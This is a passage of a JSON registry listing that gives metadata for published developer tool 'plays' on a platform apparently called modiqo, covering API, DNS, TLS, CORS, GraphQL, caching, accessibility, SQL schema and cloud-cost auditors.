probe"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fcb19788f7376a04a3ead599d5483f10f03e11d979b78e6cdad9483421979164","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/rest-to-openapi-scaffold@0.1.0","reference":"ameykaulavkar/rest-to-openapi-scaffold@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/rest-to-openapi-scaffold@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/rest-to-openapi-scaffold@0.1.0","name":"rest-to-openapi-scaffold","title":"rest-to-openapi-scaffold","description":"Live REST API contract inspector and OpenAPI 3.1 specification scaffolder. Probes HTTP endpoints, infers JSON Schema types, formats (uuid, date-time, email, uri), generates path specifications, and lints RESTful design. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-api-design","job-openapi-scaffold","tool-json-schema","audience-developers","effect-read-only"],"primary_domain":"domain-api-design","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:18:05.518472+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7286,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["endpoint_probe","quality_linter","schema_inferrer","openapi_spec_builder"]},"parameters":[{"name":"endpoint","type":"string","required":false,"default":"https://jsonplaceholder.typicode.com/todos/1","description":"Live REST API URL or endpoint to probe and generate an OpenAPI 3.1 contract"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1b4b3beffdad89190aa19e9083cd8ad3cac62886de049ea37d2f22b68b222f4d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/web-asset-budget@0.1.0","reference":"ameykaulavkar/web-asset-budget@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/web-asset-budget@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/web-asset-budget@0.1.0","name":"web-asset-budget","title":"web-asset-budget","description":"Web asset payload weight, compression efficiency, and mobile download latency budget auditor. Benchmarks Brotli/Gzip ratios, enforces HTML/JS/CSS byte budgets, models 4G/3G Core Web Vitals transfer times, and checks next-gen formats. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-web-performance","job-asset-budget","tool-brotli-compression","audience-developers","effect-read-only"],"primary_domain":"domain-web-performance","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:15:36.057911+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7016,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["asset_type_budget","modern_formats_check","compression_benchmark","transfer_latency_model"]},"parameters":[{"name":"target","type":"string","required":false,"default":"https://news.ycombinator.com","description":"URL of a webpage, API endpoint, or static asset to audit against performance budgets"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e5b7280ce5da358062d7bea4c63511edbd8a9818da55730363e1e1eb295ccdb2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/thread-clean@0.1.1","reference":"shambhavi/thread-clean@0.1.1","uri":"https://play.modiqo.ai/shambhavi/thread-clean@0.1.1","manifest_uri":"https://play.modiqo.ai/shambhavi/thread-clean@0.1.1","name":"thread-clean","title":"thread-clean","description":"Turn a noisy discussion thread into clear decisions, open questions, and actionable next steps.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["productivity","communication","developer-tools","decision-making"],"primary_domain":"domain-uncategorized","author":"shambhavi","version":"0.1.1","published_at":"2026-09-05T16:14:56.312117+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":2876,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["python3"]},"parameters":[{"name":"thread_text","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d962ffe20326791456ca734d4d9bc3c63b3031060d11659ba3568e8489031fc7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/dns-record-deepdive@0.1.0","reference":"ameykaulavkar/dns-record-deepdive@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/dns-record-deepdive@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/dns-record-deepdive@0.1.0","name":"dns-record-deepdive","title":"dns-record-deepdive","description":"Full-spectrum DoH DNS infrastructure and email authentication security auditor. Resolves dual-stack IPv4/IPv6 records, MX mail exchange, SPF spoofing protection, DMARC enforcement policy, and DNSSEC chain validation. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-dns-infrastructure","job-dns-audit","tool-dmarc-spf","audience-developers","effect-read-only"],"primary_domain":"domain-dns-infrastructure","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:12:56.616563+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7116,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["dnssec_soa_probe","mail_mx_spf_probe","dmarc_policy_probe","address_records_probe"]},"parameters":[{"name":"domain","type":"string","required":false,"default":"github.com","description":"Domain name or hostname to inspect across DNS records"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d93c2f1576cdf9bda55ed371ef2b9ede8d3542c1251c4df59308294fb830ac72","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/http-cache-analyzer@0.1.0","reference":"ameykaulavkar/http-cache-analyzer@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/http-cache-analyzer@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/http-cache-analyzer@0.1.0","name":"http-cache-analyzer","title":"http-cache-analyzer","description":"HTTP and CDN edge caching efficiency analyzer. Audits Cache-Control directives, conditional ETag/Last-Modified 304 validation, edge CDN cache status (HIT/MISS/Age), and Vary header fragmentation. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-web-performance","job-cache-audit","tool-cdn-analyzer","audience-developers","effect-read-only"],"primary_domain":"domain-web-performance","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:09:54.538239+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6823,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["etag_validator","cdn_headers_probe","vary_header_probe","cache_control_audit"]},"parameters":[{"name":"target","type":"string","required":false,"default":"https://www.cloudflare.com","description":"URL or asset endpoint to audit for HTTP and CDN caching performance"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8da3cc65649d9418fee1afa8201074699ff1be6d4340bf928646758afabd95ea","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/cors-security-audit@0.1.0","reference":"ameykaulavkar/cors-security-audit@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/cors-security-audit@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/cors-security-audit@0.1.0","name":"cors-security-audit","title":"cors-security-audit","description":"Live CORS misconfiguration and cross-origin vulnerability auditor. Tests arbitrary origin reflection, null origin trust, credentials risk (Access-Control-Allow-Credentials), preflight caching (Access-Control-Max-Age), and sensitive header exposure. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-web-security","job-cors-audit","tool-origin-probe","audience-developers","effect-read-only"],"primary_domain":"domain-web-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T16:06:49.915089+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6731,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["credentials_audit","exposed_headers_probe","preflight_cache_probe","origin_reflection_probe"]},"parameters":[{"name":"target","type":"string","required":false,"default":"https://api.github.com","description":"API URL or domain to audit for CORS security configuration"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4607a19ff033572b92d170ec7e1322017666281c2fd91061d29467a3dd5bdeb4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/stantheman0128/early-stop-note@0.1.0","reference":"stantheman0128/early-stop-note@0.1.0","uri":"https://play.modiqo.ai/stantheman0128/early-stop-note@0.1.0","manifest_uri":"https://play.modiqo.ai/stantheman0128/early-stop-note@0.1.0","name":"early-stop-note","title":"early-stop-note","description":"Claude just stalled. The same brief will make Codex stop after the plan. Point this at a transcript file. It marks those sentences and writes a note Codex will finish. Lean Codex briefs get scope and intent added back for Claude. Read-only. python3 only.\n","owner":{"kind":"user","slug":"stantheman0128"},"registry_organization":"stantheman0128","tags":["typescript","python3","handoff","claude","codex"],"primary_domain":"domain-uncategorized","author":"stantheman0128","version":"0.1.0","published_at":"2026-09-05T16:01:01.620897+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6481,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["analyze","validate_input"]},"parameters":[{"name":"transcript_path","type":"string","required":true,"description":"Path to a stuck chat transcript (plain text, markdown, or jsonl)","example":"./fixtures/stuck-claude.txt"},{"name":"direction","type":"string","required":false,"default":"auto","description":"auto, to_codex, or to_claude","example":"auto"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cf40a5b87e34b9e1a200f19013c3258082ecd7f383e40f3e6a8ee22f1c703b87","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/nakeeb-mufeed/docx-verified-modify@0.1.0","reference":"nakeeb-mufeed/docx-verified-modify@0.1.0","uri":"https://play.modiqo.ai/nakeeb-mufeed/docx-verified-modify@0.1.0","manifest_uri":"https://play.modiqo.ai/nakeeb-mufeed/docx-verified-modify@0.1.0","name":"docx-verified-modify","title":"docx-verified-modify","description":"Safely modify DOCX documents using LLM planning, deterministic execution, and independent validation.","owner":{"kind":"user","slug":"nakeeb-mufeed"},"registry_organization":"nakeeb-mufeed","tags":["docx","docengine","word","document-automation"],"primary_domain":"domain-uncategorized","author":"Antigravity","version":"0.1.0","published_at":"2026-09-05T15:54:35.680233+00:00","visibility":"public","quality_score":1,"size_bytes":3523,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["modify_docx"]},"parameters":[{"name":"input_path","type":"string","required":true,"description":"Path to the input DOCX file"},{"name":"instruction","type":"string","required":true,"description":"Natural language instruction for modifying the document"},{"name":"output_path","type":"string","required":false,"default":"","description":"Path for the output modified DOCX file"},{"name":"assets_json","type":"string","required":false,"default":"","description":"JSON string mapping asset names to file paths"},{"name":"model","type":"string","required":false,"default":"openai/gpt-oss-20b","description":"LLM model identifier to use for intent planning"},{"name":"strict_validation","type":"string","required":false,"default":"true","description":"Whether strict validation is enforced"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e6e8c69bb6e86afe7ac13f06e834533b43462e6e22320de6c98e7d7dae099463","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"inferred","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ameykaulavkar/readme-docs-grade@0.1.0","reference":"ameykaulavkar/readme-docs-grade@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/readme-docs-grade@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/readme-docs-grade@0.1.0","name":"readme-docs-grade","title":"readme-docs-grade","description":"Developer Experience (DX) & completeness auditor for repository READMEs and docs. Evaluates section structure, syntax-highlighted code blocks, badges & shields, dead anchor links, and Flesch readability. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-documentation","job-readme-audit","tool-dx-grade","tool-markdown-checker","audience-developers","effect-read-only"],"primary_domain":"domain-documentation","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T15:32:28.706844+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":10978,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["audit_links","audit_badges","audit_sections","audit_code_blocks","audit_readability"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to a local README.md/docs file or 'sample' to evaluate the standard reference template"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1e99d22201cdc4393d7c6f894959aea3e847911bfc8c83068e154c91d39fc64a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/graphql-pulse@0.1.0","reference":"ameykaulavkar/graphql-pulse@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/graphql-pulse@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/graphql-pulse@0.1.0","name":"graphql-pulse","title":"graphql-pulse","description":"GraphQL production endpoint security, introspection vulnerability, and query complexity auditor. Probes GraphQL endpoints to verify whether schema introspection is exposed in production (exposing administrative models and mutations), tests circular query depth limits against denial-of-service, verifies query batching restrictions, checks error message field suggestion leakage, and measures live endpoint latency. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-security","job-graphql-audit","tool-introspection","tool-query-depth","tool-graphql-dos","audience-developers","effect-read-only"],"primary_domain":"domain-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:59:05.923357+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5752,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["introspection_probe","circular_depth_probe","field_suggestion_leak","graphql_posture_score","batching_and_multiplier"]},"parameters":[{"name":"endpoint","type":"string","required":false,"default":"https://countries.trevorblades.com/graphql","description":"GraphQL endpoint URL to audit"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:895fd79e1df7ef0805d89ca624dd7ef71b9d22c89504fecc7d454ab19af75953","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/tls-cipher-radar@0.1.0","reference":"ameykaulavkar/tls-cipher-radar@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/tls-cipher-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/tls-cipher-radar@0.1.0","name":"tls-cipher-radar","title":"tls-cipher-radar","description":"Deep TLS protocol version, cipher suite, and SSL cryptographic posture auditor. Probes any domain to verify TLS 1.3 / 1.2 negotiation while flagging deprecated protocols (TLS 1.0/1.1), audits cipher suite strength and AEAD authenticated encryption (AES-GCM, ChaCha20-Poly1305 vs legacy CBC), verifies Perfect Forward Secrecy (ECDHE/DHE key exchange), negotiates ALPN for HTTP/2 multiplexing, and inspects certificate SANs and expiration. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-security","job-tls-audit","tool-cipher-suites","tool-forward-secrecy","tool-alpn-http2","audience-developers","effect-read-only"],"primary_domain":"domain-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:56:07.628177+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5853,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["alpn_protocols","tls_version_probe","cipher_suite_audit","pfs_forward_secrecy","certificate_san_and_ocsp"]},"parameters":[{"name":"domain","type":"string","required":false,"default":"cloudflare.com","description":"Hostname or domain to audit for TLS cryptographic security"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e72d0d3a553b451d18d69308901703799bb516f46431cb03198804822861e124","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/sql-schema-bench@0.1.0","reference":"ameykaulavkar/sql-schema-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/sql-schema-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/sql-schema-bench@0.1.0","name":"sql-schema-bench","title":"sql-schema-bench","description":"SQL DDL schema & index performance benchmark. Audits SQL table schemas for missing foreign key indexes (preventing full table scans and lock escalation), verifies primary key coverage and 64-bit BIGINT overflow protection, audits created_at and updated_at timestamp audit trails, checks naming conventions against reserved SQL keywords, and flags schema anti-patterns (nullable tri-state booleans, EAV tables). S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-database","job-schema-optimization","tool-sql-ddl","tool-foreign-key-index","tool-query-performance","audience-developers","effect-read-only"],"primary_domain":"domain-database","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:52:44.750517+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7215,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["naming_conventions","audit_trail_hygiene","anti_pattern_detector","primary_key_and_types","foreign_key_index_audit"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"File path, URL, or string of SQL DDL schema (defaults to e-commerce schema benchmark)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7c077d7ca0410b594927dfba41ef17d88b64c3e745c1eeb5366a770bd3691ff7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/a11y-web-scanner@0.1.0","reference":"ameykaulavkar/a11y-web-scanner@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/a11y-web-scanner@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/a11y-web-scanner@0.1.0","name":"a11y-web-scanner","title":"a11y-web-scanner","description":"Web accessibility (WCAG 2.1 Level AA) automated DOM and semantic structure auditor. Audits image alt attribute completeness and unhelpful descriptions, verifies semantic heading hierarchy (single h1 without skipped levels), inspects form control label associations and ARIA accessibility, validates HTML5 landmark regions (<header>, <nav>, <main>, <footer>), and checks viewport pinch-to-zoom restrictions. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-accessibility","job-a11y-audit","tool-wcag-2-1","tool-screen-reader","tool-dom-semantics","audience-developers","effect-read-only"],"primary_domain":"domain-accessibility","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:49:53.813289+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7545,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["image_alt_audit","heading_hierarchy","viewport_and_zoom","form_control_labels","landmarks_and_semantics"]},"parameters":[{"name":"target","type":"string","required":false,"default":"https://modiqo.ai","description":"URL or HTML string to audit for WCAG 2.1 accessibility compliance"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5b85738f83c122d74e7c9526e025d0de496dd17750b8db988ce57dd90cf7c2d6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/cloud-finops-advisor@0.1.0","reference":"ameykaulavkar/cloud-finops-advisor@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/cloud-finops-advisor@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/cloud-finops-advisor@0.1.0","name":"cloud-finops-advisor","title":"cloud-finops-advisor","description":"Multi-cloud infrastructure FinOps & compute cost arbitrage engine. Compares on-demand compute rates across AWS, GCP, and Azure (benchmarking Graviton/Ampere ARM against legacy x86 for 20-25% savings), calculates real-time Spot/Preemptible cluster discounts (70-80% savings), models object storage lifecycle transitions (S3 Standard to Glacier Deep Archive saving up to 95%), and simulates data egress optimization. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-cloud","job-finops-optimization","tool-aws-pricing","tool-spot-instances","tool-storage-lifecycle","audience-developers","effect-read-only"],"primary_domain":"domain-cloud","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:47:03.40846+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6309,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["vm_pricing_matrix","finops_recommendations","storage_tier_lifecycle","spot_arbitrage_estimator","egress_traffic_calculator"]},"parameters":[{"name":"nodes","type":"string","required":false,"default":"5","description":"Number of 4-vCPU/16GB cluster worker nodes to simulate"},{"name":"storage_tb","type":"string","required":false,"default":"10","description":"Monthly object storage volume in Terabytes 